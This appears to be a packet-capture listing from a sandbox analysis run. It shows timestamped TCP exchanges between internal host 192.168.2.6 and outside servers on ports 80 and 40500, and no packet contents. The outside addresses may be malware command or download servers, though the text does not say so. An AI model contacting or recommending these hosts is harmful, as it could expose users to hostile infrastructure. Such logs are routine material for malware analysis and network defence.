Oct 26, 2024 07:27:12.320605993 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.320611954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320621014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320631981 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.320637941 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320647955 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320652962 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320657969 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.320662022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320671082 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320679903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320698977 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.320713997 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.320766926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320775986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320790052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320796013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320811033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320817947 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.320828915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320836067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320836067 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.320846081 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.320852041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320861101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320878029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.320878029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320888042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320903063 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.320903063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320913076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320919037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320924997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320926905 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.320940971 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320947886 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.320966959 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320966959 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.320976019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320981979 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.321007967 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.358339071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.358351946 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.358364105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.358371019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.358376980 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.358447075 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.358488083 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.358669043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.358733892 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.358740091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.358757019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.358762980 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.358803034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.358836889 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.358921051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.358927011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.358938932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.358956099 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.358961105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.358980894 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.358998060 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.359056950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.359062910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.359075069 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.359081984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.359086990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.359124899 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.359138966 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.386627913 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.387880087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.393621922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393645048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393655062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393661976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393668890 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393713951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393713951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.393724918 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393734932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393739939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393743038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393753052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393759966 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.393785954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.393809080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393811941 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.393816948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393826008 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393831968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393840075 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393851042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393852949 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.393883944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.393903017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393909931 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393924952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393943071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393949986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393951893 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.393956900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393965006 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393970966 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.393985987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.393996000 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.394022942 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.394185066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.394192934 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.394205093 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.394220114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.394227982 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.394233942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.394237041 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.394243956 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.394251108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.394262075 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.394279957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.394305944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.394316912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.394324064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.394339085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.394345045 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.394367933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.394382000 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395107985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395112991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395126104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395133018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395138979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395147085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395157099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395183086 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395210981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395217896 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395224094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395229101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395240068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395263910 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395267963 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395275116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395278931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395282030 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395287991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395294905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395307064 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395308018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395332098 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395349979 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395358086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395366907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395378113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395406961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395418882 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395452023 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395457983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395471096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395476103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395509958 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395519018 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395539999 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395546913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395586967 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395678997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395692110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395704031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395709038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395714998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395739079 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395757914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395765066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395771027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395776987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395782948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395801067 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395802021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395808935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395823002 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395829916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395837069 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395843983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395849943 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395850897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395857096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395864010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395868063 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395875931 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395884991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395889997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395891905 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395906925 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395912886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395921946 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395925999 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395934105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395934105 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395967007 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.395987988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.395994902 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396006107 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396012068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396018982 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396037102 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.396055937 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.396078110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396121979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396131039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396169901 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.396258116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396265030 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396276951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396282911 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396289110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396301031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396305084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.396317005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396322012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396323919 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.396333933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396342039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396343946 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.396348953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396375895 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.396378994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396385908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396392107 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396397114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396397114 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.396404028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396414995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396421909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.396440983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396446943 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.396449089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396461010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396491051 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.396496058 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396508932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396516085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396527052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396533966 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.396563053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396564007 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.396576881 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396589041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396594048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.396617889 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.397870064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.397912979 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.397959948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.397965908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.397979021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.397984028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.397989988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.398001909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.398008108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.398010969 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.398020983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.398030043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.398044109 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.398046017 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.398052931 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.398063898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.398066998 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.398071051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.398077965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.398097992 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.398124933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.398130894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.398137093 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.398149014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.398154020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.398160934 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.398175001 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.398178101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.398195028 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.398216009 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.398643970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.398721933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.398727894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.398740053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.398770094 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.398792982 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.445020914 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.445357084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:15.054625034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:16.640976906 CEST	49996	40500	192.168.2.6	94.183.35.46
Oct 26, 2024 07:27:16.646229029 CEST	40500	49996	94.183.35.46	192.168.2.6
Oct 26, 2024 07:27:16.646372080 CEST	49996	40500	192.168.2.6	94.183.35.46
Oct 26, 2024 07:27:16.647768021 CEST	49996	40500	192.168.2.6	94.183.35.46
Oct 26, 2024 07:27:16.653192997 CEST	40500	49996	94.183.35.46	192.168.2.6
Oct 26, 2024 07:27:16.653300047 CEST	49996	40500	192.168.2.6	94.183.35.46
Oct 26, 2024 07:27:16.661500931 CEST	40500	49996	94.183.35.46	192.168.2.6
Oct 26, 2024 07:27:17.633953094 CEST	49997	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:17.639444113 CEST	80	49997	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:17.639548063 CEST	49997	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:17.809063911 CEST	49997	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:17.815881968 CEST	80	49997	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:18.186615944 CEST	40500	49996	94.183.35.46	192.168.2.6
Oct 26, 2024 07:27:18.186827898 CEST	49996	40500	192.168.2.6	94.183.35.46
Oct 26, 2024 07:27:18.565994978 CEST	80	49997	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:18.566078901 CEST	49997	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:19.307523012 CEST	49998	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:19.312990904 CEST	80	49998	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:19.313092947 CEST	49998	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:19.313267946 CEST	49998	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:19.318623066 CEST	80	49998	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:20.277121067 CEST	80	49998	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:20.278753996 CEST	49998	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:21.127396107 CEST	49997	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:22.346453905 CEST	49998	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:22.351831913 CEST	80	49998	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:22.645297050 CEST	80	49998	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:22.645556927 CEST	49998	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:23.362258911 CEST	49996	40500	192.168.2.6	94.183.35.46
Oct 26, 2024 07:27:23.367633104 CEST	40500	49996	94.183.35.46	192.168.2.6
Oct 26, 2024 07:27:24.706722021 CEST	49998	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:24.712110996 CEST	80	49998	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:24.999893904 CEST	80	49998	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:25.002737045 CEST	49998	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:27.098504066 CEST	49998	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:27.103817940 CEST	80	49998	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:27.434320927 CEST	80	49998	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:27.434449911 CEST	49998	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:28.375901937 CEST	49999	40500	192.168.2.6	198.163.192.16
Oct 26, 2024 07:27:28.381385088 CEST	40500	49999	198.163.192.16	192.168.2.6
Oct 26, 2024 07:27:28.384758949 CEST	49999	40500	192.168.2.6	198.163.192.16
Oct 26, 2024 07:27:28.386362076 CEST	49999	40500	192.168.2.6	198.163.192.16
Oct 26, 2024 07:27:28.391705036 CEST	40500	49999	198.163.192.16	192.168.2.6
Oct 26, 2024 07:27:28.393173933 CEST	49999	40500	192.168.2.6	198.163.192.16
Oct 26, 2024 07:27:28.398597002 CEST	40500	49999	198.163.192.16	192.168.2.6
Oct 26, 2024 07:27:29.456048965 CEST	49998	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:29.461522102 CEST	80	49998	91.202.233.141	192.168.2.6
